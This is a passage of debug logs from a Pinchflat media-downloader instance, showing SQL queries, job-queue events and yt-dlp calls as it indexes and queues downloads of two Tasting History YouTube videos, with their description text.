s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:46.739 [debug] QUERY OK source="media_items" db=1.3ms idle=1346.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 15:01:06Z], 3] 02:51:46.741 [debug] QUERY OK source="media_items" db=1.2ms idle=1027.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "8e813af5-a82a-4a6f-9561-326188058776", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, 1375, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, false, 3, [], 98, ~U[2026-03-24 15:01:06Z], ~U[2026-03-31 06:51:46Z], ~U[2026-03-31 06:51:46Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", 1375, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, 3, ~U[2026-03-24 15:01:06Z]] 02:51:46.741 [debug] QUERY OK source="sources" db=0.1ms idle=28.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:46.741 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:46.742 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:46.742 [info] Kicking off download for media item #12546 (_iGppK9by3Y) 02:51:46.743 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1728, 12546, ~U[2026-03-31 06:51:46Z], ~U[2026-03-31 06:51:46Z]] 02:51:46.743 [debug] Current batch of media processed. Will check again in 1000ms 02:51:46.750 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774939906750357597,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:46.750 [debug] QUERY OK source="media_items" db=0.1ms idle=8.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:51:46.750 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:46.751 [debug] QUERY OK source="sources" db=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:46.751 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:46.752 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:46.752 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:51:46.753 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:46.753 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:46.753 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:46.753 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:46.754 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:46.754 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:46.754 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:46.754 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/64/3564c52b8ef5c81b1bb7505119420bc4444f3686b2e1a45434a1524f16c8b2e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:47.647 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:47.744 [debug] Current batch of media processed. Will check again in 1000ms 02:51:48.745 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1338, "filename" => "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", "id" => "9SvcDeiwXrc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9SvcDeiwXrc", "playlist_index" => 2, "timestamp" => 1773759631, "title" => "Hardtack Hash from Steerage on a Victorian Ocean Liner", "upload_date" => "20260317"} 02:51:48.746 [debug] QUERY OK source="sources" db=0.2ms idle=1031.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:48.746 [debug] QUERY OK source="sources" db=0.1ms idle=354.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:48.748 [debug] QUERY OK source="media_items" db=1.2ms idle=355.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 15:00:31Z], 3] 02:51:48.749 [debug] QUERY OK source="media_items" db=1.1ms idle=356.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "042240cc-736b-4637-afcc-52b3d00f54f9", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, 1338, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, false, 3, [], 98, ~U[2026-03-17 15:00:31Z], ~U[2026-03-31 06:51:48Z], ~U[2026-03-31 06:51:48Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", 1338, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, 3, ~U[2026-03-17 15:00:31Z]] 02:51:48.750 [debug] QUERY OK source="sources" db=0.1ms idle=34.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:48.750 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:48.750 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:48.750 [info] Kicking off download for media item #12040 (9SvcDeiwXrc) 02:51:48.752 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1729, 12040, ~U[2026-03-31 06:51:48Z], ~U[2026-03-31 06:51:48Z]] 02:51:48.752 [debug] Current batch of media processed. Will check again in 1000ms 02:51:48.758 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774939908758178834,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:48.758 [debug] QUERY OK source="media_items" db=0.1ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 02:51:48.758 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:48.758 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:48.759 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:48.759 [debug] QUERY OK source="media_items" db=0.2ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:48.760 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 02:51:48.760 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:48.760 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:48.760 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:48.761 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:48.761 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:48.761 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:48.761 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT 